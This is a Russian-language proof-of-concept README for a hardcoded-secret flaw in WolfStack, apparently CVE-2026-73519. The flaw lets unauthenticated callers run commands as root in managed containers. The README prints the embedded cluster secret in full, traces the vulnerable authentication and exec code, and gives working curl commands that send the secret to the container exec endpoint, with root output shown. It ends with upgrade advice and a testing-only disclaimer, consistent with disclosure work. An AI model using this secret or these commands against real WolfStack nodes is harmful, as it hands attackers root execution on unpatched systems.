
PoC для CVE-2026-73519 - захардкоженный секрет кластера WolfStack приводит к RCE без аутентификации (CVSS 9.8)
PoC для жёстко заданного секрета аутентификации по умолчанию в WolfStack, который позволяет удалённому неаутентифицированному атакующему выполнять произвольные команды с правами root внутри любого управляемого контейнера Docker/LXC.
| CVE | CVE-2026-73519 |
| CNA | VulnCheck |
| Уведомление | GHSA-r3mw-2wmq-j6jg · разбор VulnCheck |
| CVSS 3.1 | 9.8 Критическая — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-798 (Жёстко заданные учётные данные), CWE-306 (Отсутствие аутентификации для критической функции) |
| Затронуто | v25.9.0 и более ранние / любой узел, не завершивший миграцию на секрет, уникальный для каждой установки |
| Исправлено в | v25.9.2 / v25.9.3 |
| Автор | Dostxodjayev Abdullox (@squeeze440) |
src/auth/mod.rs:32 содержит единственный жёстко заданный секрет, вшитый в каждую сборку WolfStack:
const CLUSTER_SECRET: &str = "wsk_a7f3b9e2c1d4f6a8b0e3d5c7f9a1b3d5e7f9a1c3b5d7e9f0a2b4c6d8e0f1a3";
auth::default_secret_accepted() (src/auth/mod.rs:430-460) принимает эту константу как допустимые учётные данные по умолчанию, если оператор явно не отказался от этого (WOLFSTACK_REJECT_DEFAULT_SECRET=1) или уже не перешёл на собственный секрет. api::require_auth() (src/api/mod.rs:518-535) — единственный барьер, защищающий весь REST API, — считает запрос с соответствующим заголовком X-WolfStack-Secret полностью аутентифицированным: без сессии, без API-ключа, без учётной записи.
Этот барьер защищает POST /api/containers/{runtime}/{id}/exec (src/api/mod.rs:7145-7167), который выполняет строку команды, переданную вызывающей стороной, дословно внутри целевого контейнера. Любой, кто прочитал публичный исходный код (или этот репозиторий), может аутентифицироваться как доверенный пир кластера и выполнять произвольные команды с правами root в любом контейнере, которым управляет узел.
Автогенерация уникального для каждой установки секрета, добавленная в этом цикле релизов, срабатывает только для узлов, у которых нет существующего файла секрета и нет записанных пиров (src/auth/mod.rs:250-261) — любой обновлённый узел, любой узел, столкнувшийся с документированной гонкой при запуске, или любой узел с недоступным для записи путём к конфигурации остаётся на общем значении по умолчанию бессрочно, получая лишь предупреждение в журнале.
Укажите TARGET и CONTAINER — экземпляр WolfStack и контейнер, которые вам разрешено тестировать, — затем:
./poc.sh http://TARGET:8553 CONTAINER_NAME
Или вручную:
# Unauthenticated — rejected
curl -s -X POST http://TARGET:8553/api/containers/docker/CONTAINER_NAME/exec \
-H "Content-Type: application/json" -d '{"command":"whoami"}'
# -> {"error":"Not authenticated"} HTTP 401
# Hardcoded secret from src/auth/mod.rs:32 — full RCE as root, no login
curl -s -X POST http://TARGET:8553/api/containers/docker/CONTAINER_NAME/exec \
-H "Content-Type: application/json" \
-H "X-WolfStack-Secret: wsk_a7f3b9e2c1d4f6a8b0e3d5c7f9a1b3d5e7f9a1c3b5d7e9f0a2b4c6d8e0f1a3" \
-d '{"command":"id; hostname"}'
# -> {"exit_code":0,"ok":true,"stdout":"uid=0(root) gid=0(root) ...\n<container-id>\n"} HTTP 200

Проверено на подлинном бинарнике релиза v25.9.0 с подтверждённой контрольной суммой (sha256 82aab42b6ab17a146aa5a108f090b15c6c4bee8159f67e735deb533a437c207c) на реальном контейнере alpine:latest в качестве цели. Идентификатор контейнера в выводе ответа совпадает с docker ps на хосте жертвы.
/api/containers/docker, /api/containers/lxc) без аутентификации.require_auth (управление пирами/узлами, резервные копии и т. д.) — этот PoC нацелен на точку container-exec как на наиболее наглядный пример воздействия, а не как на исчерпывающий список.Обновитесь до v25.9.2 или более поздней версии. Сопровождающий изменил логику так, что секрет по умолчанию теперь отклоняется, и добавил принудительный путь ротации для существующих установок.
Опубликовано после выхода исправления и назначения CVE, для защитного/образовательного использования — проверки статуса установки исправлений в вашей собственной инфраструктуре. Не запускайте это против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.